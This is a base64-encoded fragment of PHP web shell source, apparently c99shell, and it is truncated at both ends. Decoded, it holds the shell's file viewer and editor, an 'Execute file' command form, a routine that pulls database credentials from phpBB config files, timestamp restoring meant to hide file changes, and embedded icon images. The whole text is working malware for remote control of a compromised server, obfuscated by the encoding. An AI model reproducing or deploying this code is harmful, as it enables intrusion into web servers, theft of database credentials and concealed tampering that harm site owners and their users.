JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+DQo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9NCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RGVjb2RlPC9hPl0mbmJzcDs8L25vYnI+DQo8UD4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJodG1sIikNCiAgew0KICAgaWYgKCR3aGl0ZSkge0BvYl9jbGVhbigpO30NCiAgIGVjaG8gJHI7DQogICBpZiAoJHdoaXRlKSB7ZXhpdDt9DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gInR4dCIpIHtlY2hvICI8cHJlPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvcHJlPiI7fQ0KICBlbHNlaWYgKCRmdCA9PSAiaW5pIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAocGFyc2VfaW5pX2ZpbGUoJGQuJGYsdHJ1ZSkpOyBlY2hvICI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gInBocHNlc3MiKQ0KICB7DQogICBlY2hvICI8cHJlPiI7DQogICAkdiA9IGV4cGxvZGUoInwiLCRyKTsNCiAgIGVjaG8gJHZbMF0uIjxicj4iOw0KICAgdmFyX2R1bXAodW5zZXJpYWxpemUoJHZbMV0pKTsNCiAgIGVjaG8gIjwvcHJlPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImV4ZSIpDQogIHsNCiAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7DQogICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAkZXh0ID0gJGV4dFskY107DQogICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgICRyZnQgPSAiIjsNCiAgIGZvcmVhY2goJGV4ZWZ0eXBlcyBhcyAkaz0+JHYpDQogICB7DQogICAgaWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9DQogICB9DQogICAkY21kID0gc3RyX3JlcGxhY2UoIiVmJSIsJGYsJHJmdCk7DQogICBlY2hvICI8Yj5FeGVjdXRlIGZpbGU6PC9iPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuImFjdD1jbWRcIiBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNtZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiJcIiBzaXplPVwiIi4oc3RybGVuKCRjbWQpKzIpLiJcIj48YnI+RGlzcGxheSBpbiB0ZXh0LWFyZWE8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAic2RiIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAodW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkcikpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJjb2RlIikNCiAgew0KICAgaWYgKGVyZWcoInBocEJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKQ0KICAgew0KICAgICRhcnIgPSBleHBsb2RlKCJcbiIsJHIpOw0KICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkNCiAgICB7DQogICAgIGluY2x1ZGUoJGQuJGYpOw0KICAgICBlY2hvICI8Yj5waHBCQiBjb25maWd1cmF0aW9uIGlzIGRldGVjdGVkIGluIHRoaXMgZmlsZSE8YnI+IjsNCiAgICAgaWYgKCRkYm1zID09ICJteXNxbDQiKSB7JGRibXMgPSAibXlzcWwiO30NCiAgICAgaWYgKCRkYm1zID09ICJteXNxbCIpIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXNxbCZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkZGJob3N0KS4iJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRidXNlcikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkZGJwYXNzd2QpLiImc3FsX3BvcnQ9MzMwNiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYm5hbWUpLiJcIj48Yj48dT5Db25uZWN0IHRvIERCPC91PjwvYj48L2E+PGJyPjxicj4iO30NCiAgICAgZWxzZSB7ZWNobyAiQnV0LCB5b3UgY2FuJ3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwgYmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIuJGRibXMuIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgYzk5c2hlbGwuIFBsZWFzZSwgcmVwb3J0IHVzIGZvciBmaXguIjt9DQogICAgIGVjaG8gIlBhcmFtZXRlcnMgZm9yIG1hbnVhbCBjb25uZWN0Ojxicj4iOw0KICAgICAkY2ZndmFycyA9IGFycmF5KCJkYm1zIj0+JGRibXMsImRiaG9zdCI9PiRkYmhvc3QsImRibmFtZSI9PiRkYm5hbWUsImRidXNlciI9PiRkYnVzZXIsImRicGFzc3dkIj0+JGRicGFzc3dkKTsNCiAgICAgZm9yZWFjaCAoJGNmZ3ZhcnMgYXMgJGs9PiR2KSB7ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRrKS4iPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPGJyPiI7fQ0KICAgICBlY2hvICI8L2I+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIH0NCiAgIH0NCiAgIGVjaG8gIjxkaXYgc3R5bGU9XCJib3JkZXIgOiAwcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDFlbTsgbWFyZ2luLXJpZ2h0OiAxZW07IG1hcmdpbi1sZWZ0OiAxZW07IGJhY2tncm91bmQtY29sb3I6ICIuJGhpZ2hsaWdodF9iYWNrZ3JvdW5kIC4iO1wiPiI7DQogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICBoaWdobGlnaHRfZmlsZSgkZC4kZik7DQogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtleGl0O30NCiAgIGVjaG8gIjwvZGl2PiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikNCiAgew0KICAgQG9iX2NsZWFuKCk7DQogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7DQogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iXCI7Iik7DQogICBlY2hvICRyOw0KICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpDQogIHsNCiAgIEBvYl9jbGVhbigpOw0KICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQvcGxhaW4iKTsNCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiIudHh0XCI7Iik7DQogICBlY2hvKCRyKTsNCiAgIGV4aXQ7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImltZyIpDQogIHsNCiAgICRpbmYgPSBnZXRpbWFnZXNpemUoJGQuJGYpOw0KICAgaWYgKCEkd2hpdGUpDQogICB7DQogICAgaWYgKGVtcHR5KCRpbWdzaXplKSkgeyRpbWdzaXplID0gMjA7fQ0KICAgICR3aWR0aCA9ICRpbmZbMF0vMTAwKiRpbWdzaXplOw0KICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsNCiAgICBlY2hvICI8Y2VudGVyPjxiPlNpemU6PC9iPiZuYnNwOyI7DQogICAgJHNpemVzID0gYXJyYXkoIjEwMCIsIjUwIiwiMjAiKTsNCiAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpDQogICAgew0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmZD0iLnVybGVuY29kZSgkZCkuIiZpbWdzaXplPSIuJHYuIlwiPiI7DQogICAgIGlmICgkaW1nc2l6ZSAhPSAkdiApIHtlY2hvICR2O30NCiAgICAgZWxzZSB7ZWNobyAiPHU+Ii4kdi4iPC91PiI7fQ0KICAgICBlY2hvICI8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICB9DQogICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHdpZHRoPVwiIi4kd2lkdGguIlwiIGhlaWdodD1cIiIuJGhlaWdodC4iXCIgYm9yZGVyPVwiMVwiPjwvY2VudGVyPiI7DQogICB9DQogICBlbHNlDQogICB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsNCiAgICAkZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pOyANCiAgICByZWFkZmlsZSgkZC4kZik7DQogICAgZXhpdDsNCiAgIH0NCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiZWRpdCIpDQogIHsNCiAgIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogICB7DQogICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkZC4kZik7fQ0KICAgICRmcCA9IGZvcGVuKCRkLiRmLCJ3Iik7DQogICAgaWYgKCEkZnApIHtlY2hvICI8Yj5DYW4ndCB3cml0ZSB0byBmaWxlITwvYj4iO30NCiAgICBlbHNlDQogICAgew0KICAgICBlY2hvICI8Yj5TYXZlZCE8L2I+IjsNCiAgICAgZndyaXRlKCRmcCwkZWRpdF90ZXh0KTsNCiAgICAgZmNsb3NlKCRmcCk7DQogICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkZC4kZiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICAkciA9ICRlZGl0X3RleHQ7DQogICAgfQ0KICAgfQ0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcikpOw0KICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgIGlmICgkcm93cyA+IDMwKSB7JHJvd3MgPSAzMDt9DQogICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJTYXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJyZXNldFwiIHZhbHVlPVwiUmVzZXRcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVmPSciLmFkZHNsYXNoZXMoJHN1cmwuImFjdD1scyZkPSIuc3Vic3RyKCRkLDAsc3RybGVuKCRkKS0xKSkuIic7XCIgdmFsdWU9XCJCYWNrXCI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZWRpdF90ZXh0XCIgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3RleHRhcmVhPjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoIWVtcHR5KCRmdCkpIHtlY2hvICI8Y2VudGVyPjxiPk1hbnVhbGx5IHNlbGVjdGVkIHR5cGUgaXMgaW5jb3JyZWN0LiBJZiB5b3UgdGhpbmssIGl0IGlzIG1pc3Rha2UsIHBsZWFzZSBzZW5kIHVzIHVybCBhbmQgZHVtcCBvZiBcJEdMT0JBTFMuPC9iPjwvY2VudGVyPiI7fQ0KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPlVua25vd24gZXh0ZW5zaW9uICgiLiRleHQuIiksIHBsZWFzZSwgc2VsZWN0IHR5cGUgbWFudWFsbHkuPC9iPjwvY2VudGVyPiI7fQ0KIH0NCn0NCn0NCmVsc2UNCnsNCiBAb2JfY2xlYW4oKTsNCiAkaW1hZ2VzID0gYXJyYXkoDQoiYXJyb3dfbHRyIj0+DQoiUjBsR09EbGhKZ0FXQUlBQUFBQUFBUC8vL3lINUJBVVVBQUVBTEFBQUFBQW1BQllBQUFJdmpJK3B5KzBQRjRpMGdWdnp1VnhYRG5vUSIuDQoiU0lyVVpHWm9lcktmMjhLalBOUE9ha3U1UmZaK3VRc0toOFJpb2dBQU93PT0iLA0KImJhY2siPT4NCiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4NCiJhTHJjL2pES1NXV3BqVnlzU05pWUo0Q1VPQkpvcWpuaUlMend1ekx0WU4vM3pCU0VyZjZrQlcrZ0tSaVBSZ2hQaCtFRkswbU9VRXF0Ii4NCiJXZzBKQURzPSIsDQoiYnVmZmVyIj0+DQoiUjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLy9qNCtOM2QzY3pNekxLeXNvYUdodi8vL3lINUJBRUFBQWNBTEFBQUFBQVVBQlFBQUFObyIuDQoiZUxyY3JpYkc5MHk0RjFBbXU1K05oWTJreGwyQ01Ld3JRUlNHdVZqcDRMbXdEQVdxaUFHRlhDaGcreGhuUkIrcHRMT2hhaTFjckVtRCIuDQoiRGx3djRjRUM0Nm1pMllnSlFLYXhzRUdERm5uR3dXRFRFemo5anJQUmRiaHVHOENyLzJJTlpJT0VoWHNiRHdrQU93PT0iLA0KImNoYW5nZSI9Pg0KIlIwbEdPRGxoRkFBVUFNUWZBTDNoajduWCtwcW8xZWp5L2Y3WUFjVGIrOHZoKzZGdEg1NldadHZyL1JBUUVaZWN4OUxsL1BYNi92MysiLg0KIi8zZUh0NnE4OGVIdS9aa2ZIM3lWeUl1UXQrNzIva09tOTlmby9QOEFabTU3cmtHUzRIZXo2cGlsOW9lcDNHWm1adi8vL3lINUJBRUEiLg0KIkFCOEFMQUFBQUFBVUFCUUFBQVdmNENlT1pHbWU2Tm10TE91bFgrYzRUVk5WUTdlOXFGemZnNEhGb25rZEpBNVM1NGNiUkFvRnlFT0MiLg0KIndTaVV0bVlra3Jnd09BZUE1enJxYUxsZEJpTk1JSmVEMjY2WFlUZ1FEbTVSeDhtZEcrb0FiU1lkYUg0R2EzYzhKQk1KYVhRR0JRZ0EiLg0KIkNIa2pFNGFRa1EwQWxTSVRhbitaQVFxa2lpUVBqMUFGQWFNS0VLWWpEMzlRckt3S0FhOG5HUUs4QWd1L0N4VENzQ01leHNmSXhqREwiLg0KInpNc2hBRHM9IiwNCiJkZWxldGUiPT4NCiJSMGxHT0RsaEZBQVVBT1paQVB6OC9OUEZ5TmdITHMwWU92UHo4L2IyOXNhY3BOWFYxZlgxOWN3WE9mRHc4S2VucC9uNStldGdldW5wIi4NCiI2ZGNHTE1NcFJ1cnE2cEtTa3R2YjIrL3Y3KzF3aDNSMGRQblAxN2lBaXB4eWVsOWZYN2RqY3NjU005M2QzWkdSa2VFc1RldmQ0TEN3Ii4NCiJzR1JrWkdwT1UrSWZRK0VRTm9oNmZkSWNQZUhoNFlXRmhiSlFZdkx5OHVpK3htNXVic3hjY094OGtjTTRVdFk5V2VBZFFZbUppZld2Ii4NCiJ2SHg4Zk1uSnljTTNVZjN2OHJSdWU5OE9OYk96czlZRks1U1VsS1lvUCtUazVOMG9TdWZuNTdaR1dzUXJSOWtJTDVDUWtPUGo0MlZsIi4NCiJaZUFQTnVkQVg5c0tNUHY3KzE1UVU1dWJtMzkvZjhlNXU0eGlhdHJhMnViS3o4UER3K3BmZWU5L2xNSzB0ODFyZmQ4QUtmLy8vd0FBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1Ii4NCiJCQUVBQUZrQUxBQUFBQUFVQUJRQUFBZXNnRm1DZzRTRmhvZUloaVVmSUltSU1sZ1FCNDZHTEFsWVFrYUZWVmhTQUlaTFQ1Y2JFWUk0Ii4NCiJTVG81TXhPZmhRd0JBMWdZQ2hja1FCazFPd2lJQUxBQ0xrZ3hKaWxUQkk2OVJGaERGaDRIREpSWlZGZ1BQRkJSMEZrTldEZE1IQThHIi4NCiJCWlRhTUNJU1ZnTUM0SWtWV0NjYVBTaTk2T3FHTkZoS0kwNGRncjBRV0ZjS0RMM0E0dU9JalZaWkFCeFFJV0RCTGtJRVFyUm9Rc0hRIi4NCiJqd1ZGSEJnaUVHUUZJZ1Fhc1lrY1NiSlFJQUE3IiwNCiJkb3dubG9hZCI9Pg0KIlIwbEdPRGxoRkFBVUFMTUlBQUQvQUFDQUFJQUFBTURBd0g5L2YvOEFBUC8vL3dBQUFQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVUFCUUFBQVJPRU1sSnE3MDRVeUdPdmtMaGZWVTRrcE9KU3B4NW5GOVlpQ3RMZjBTdUg3cHUiLg0KIkVZT2djQmdrd0FpR3BIS1p6QjJKeEFEQVNRRkNpZFFKc01mZEdxc0RKbk9RbFhUUDM4cHJ6V2JYM3FnSUFEcz0iLA0KImZvcndhcmQiPT4NCiJSMGxHT0RsaEZBQVVBUElBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4NCiJhTHJjL2pESzJRcDl4VjVXaU41RzUwRlphUkxENkloRTY2THB0M1JEYmQ5Q1FGU0U0UCsrUVc3SGU3VUtQaDBJcVZ3MmwwUlFTRXF0Ii4NCiJXcXNKQURzPSIsDQoiaG9tZSI9Pg0KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8rcnE2dDNkM2N6TXpMS3lzb2FHaG1abVpnUUVCUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBa0FMQUFBQUFBVUFCUUFBQVIrTU1rNVRUV0k2aXB5TW9PM2NVV1JnZUpvQ0NhTG9LTzBtcTBaeGpOU0JEV1MiLg0KImtycUFzTGZKN1lRQmw0dGlSQ1lGU3BQTWRSUkNvUU9pTDRpOENnWmdrMDlXZldMQllaSEI2VVdqQ2VxdXdFREh1T0VWSzNRdGdOL2oiLg0KIlZ3TXJCRFp2Z0YrQ2hIYUdlWWlDQlFZSENIOFZCSmFXZEFlU2w1WWlXNStnb0JJUkFEcz0iLA0KIm1vZGUiPT4NCiJSMGxHT0RsaEhRQVVBTE1BQUFBQUFQLy8vNkNncE4zZDNjek16SWFHaG1abVpsOWZYLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQWRBQlFBQUFTQkVNbEpxNzA0NjFtNi8rQUhaTVVnbkdpcW5pTldISEFzejNGN0ZVR3U3M3hPIi4NCiIyQlpjd0dEb0VYay9VcTRJQ0FDZVE2ZnptWFRsbnMwZGRsZTk5YjdjRnZZcEVSNTVaMTBYeTFsS3Q4d3BvSXNBQ3JkYXFCcFlFWUsvIi4NCiJkSDFMUldpRWUwcFJUWEJ2Vkh3VWQzbzZlRDZPSEFTWG1KbWFtSlVTWTUrZ254dWpwQklSQURzPSIsDQoicmVmcmVzaCI9Pg0KIlIwbEdPRGxoRVFBVUFMTUFBQUFBQVAvLy8vSHg4ZXJxNnVQajQ5M2QzY3pNekxLeXNvYUdobVptWmw5Zlh3UUVCUC8vL3dBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBd0FMQUFBQUFBUkFCUUFBQVIxa01sSnEwUTQ2MHhSK0dBb0lNdmtoZUlZbE15SkJrSjhsbTZZeE1LaTZ6V1kiLg0KIjNBS0NZYmpvL1k0RVFxRmdLSVlVaDhFdnVXUTZQd1BGUUpwVUxwdW5yWFpMcllLeDIwRzNvREE3MDkzRXN2MTlxNU8vd29GdTlaQUoiLg0KIlIzbHVmbVdDVlgxM2gzS0hmV1dNakdCRGtwT1VUVHVYbUpnUkFEcz0iLA0KInNlYXJjaCI9Pg0KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8rcnE2dDNkM2N6TXpNREF3TEt5c29hR2huZDNkMlptWmw5ZlgwMU5UU2twS1FRRUJQLy8iLg0KIi93QUFBQ0g1QkFFQUFBNEFMQUFBQUFBVUFCUUFBQVNuME1sNXFqMHo1eHI2K0paR2VVWnBISXFSTk9JUmZJWWl5K2E2dmNPcEhPYXAiLg0KInM1SUtRY2N6OFhnSzRFR2dRcVdNdmtyU3NjeWxob2FGVm11WkxnVURBblp4RUJNT0RTbnJraGlTQ1o0Q0dyVVdNQStMTER4dVNIc0QiLg0KIkFrTjRDM3NmQlgxMFZIYUJKNFFmQTRlSVU0cGlqUWNGbUNWb05rRmxnZ2NNUlNjTlNVQ2RKeWhvRGFzTlo1TVREVnNYQndsdmlSbXIiLg0KIkNicTdDNnNJcnFhd3JLd1R2NjhpeUE2ckRoRUFPdz09IiwNCiJzZXR1cCI9Pg0KIlIwbEdPRGxoRkFBVUFNUUFBQUFBQVAvLy8vajQrT1BqNDkzZDNjek16TURBd0xLeXNwYVdsb2FHaG5kM2QyWm1abDlmWDAxTlRVSkMiLg0KIlFod2NIUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJBRUEiLg0KIkFCQUFMQUFBQUFBVUFCUUFBQVdWSUNTS2lrS1dhRG11U2hDVWJqek13RW9HaFZ2c2ZIRUVOUllPZ2VnbGprZWcwUEY0S0JJRlJNSUIiLg0KInFDYUNKNGVJR1FWb0lWV3NUZlFvWE1mb1VmbU1acmdaMkdORFBHSUk3Z0pETFlFcndHMXZnVzhDQ1F0emdIaUpBbmFGaHl0MmR3UUUiLg0KIk93Y01ab1owa0pLVWxaZU9kUUtiUGdlZGpabWhuQWNKbHFhSXFVZXNtSWlrcEVpeG55Smh1bFVNaGcyNGFTTzZZeUVBT3c9PSIsDQoic21hbGxfZGlyIj0+DQoiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuDQoiLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0iLA0KInNtYWxsX3VuayI9Pg0KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQUllcDNCRTltbGxpYzNCNWlWcGpkTXZoL01MYyt5MVUiLg0KInA5UG0vR1Z1ZmM3ai9NelYvOVhtL0VPbTk5Ym4vTmpwL2E3USt0VG0vTEhTK2VYdy90M3IvTm5wL2Rqby9OcnEvZmo3Lzl2cS9OZm8iLg0KIi9NYmUrOHJoL01uZys3alcrcnZZK3I3Wis3WFI5ZERrL05Iay9OTGwvTFRVK3JuWCs4emkvTGJWKytmeC9lNzIvdkgzL3ZMNC91MzEiLg0KIi9lMzEvdUR1L2R6ci9PcnovZUh1L2ZYNi92SDQvdi8vLy92Ky8zZXo2dmY3Ly9UNS9rR1M0UHY5LzdYVitySFQrci9iK3J6YSt2UDQiLg0KIi91ejAvdXJ6L3U3MS91dnovZFRuL00vay9OM3MvZHZyL2NqZys4UGQrOEhjK3NmZis4VGUrL0QyL3JYSThySEY4YnJNODdmSjhubVAiLg0KIndyM044Ni9EOEt2QjhGOW5lRUZvdEVCbnRFTnB0RU5wdFN4VXB4MUlvRGxmclRSY3JaZWV5WmFjeHBtaHpJdVJ0cFdaeEl1T3VLcXoiLg0KIjlaT1d3WDZJczNXSXU1aW0wN3JKOUoydDJaZWswbTU3cnBxbzFuS0N0VVZydFlpcjN2ZjYvNDZ2NFl1dTRXWnZmcjdQNnNQUzZzRFEiLg0KIjY2WEI2Y2paOGEvSzc5L3MvZGJuL2V6ei9jemQ5bU4waktUQjZhaS83Nlc5N25pWHoyR0N3VjZBd1Vkc3RYeVZ5R1NEd25tWXo0aW8iLg0KIjI0T2kxYTNCNDVTeTRhZTk0NENjejRTajFuMkdsZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBam5BQ3RWQ2tDdzRKeEpBUVFxRkJqQXhvME1OR3FzQUJRQWg2Q0ZBM25rME1IaVJSRVZEaHpzb0xRd0FKMGdUNFRvZWNTSEFZTXoiLg0KImFRZ29ETkNDU0I0RUFuSW1DaVNCalV5R0xvYmdYQlRwa0FBNUk2cGdtU2tEejVjdU1Tejh5V2xBeW9DWkZHYjRTUUtoQVNNQlhKcE0iLg0KInVTclFFUXdrR2pZa1FDVEF5NkFsVU1oV2tsUUJ3NE1FaGdTQTZYUGdSeFM1aWk0MEtMRmdpNEJHVEVLQXNDS1hpaEVTQ3pyc2dTUUMiLg0KInlJa1VWK1NxT1lMQ0E0Y3NBdXA4Nk9HRGtOdzRCcFE0T2FCRmdCMFRFeUlVS3FEd1RSczRhOXlNQ1NPbURCb3ladTRzSktDZ3dJRGoiLg0KInlBc29rQmtRQURzPSIsDQoibXVsdGlwYWdlIj0+IlIwbEdPRGxoQ2dBTUFKRURBUC8vLy8vM21RQUFBQUFBQUNINUJBRUFBQU1BTEFBQUFBQUtBQXdBQUFJajNJUiIuDQoicEpoQ09Ebm92aWRBb3ZCZE16emtpeGxYZGxJMm9acEpXRXNTeXdMelJVQUFBT3c9PSIsDQoic29ydF9hc2MiPT4NCiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1hIi4NCiJTTHJjUGNFOUdLVWFRbFE1c041UGxvRkxKMzVPb0s2cTVTWUFPdz09IiwNCiJzb3J0X2Rlc2MiPT4NCiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1iIi4NCiJTTHJjT2pCQ0I0VVZJVGd5THQ1Y2gybWdTSlpEQmk3cDZoSUpBRHM9IiwNCiJzcWxfYnV0dG9uX2Ryb3AiPT4NCiJSMGxHT0RsaENRQUxBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4NCiIvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF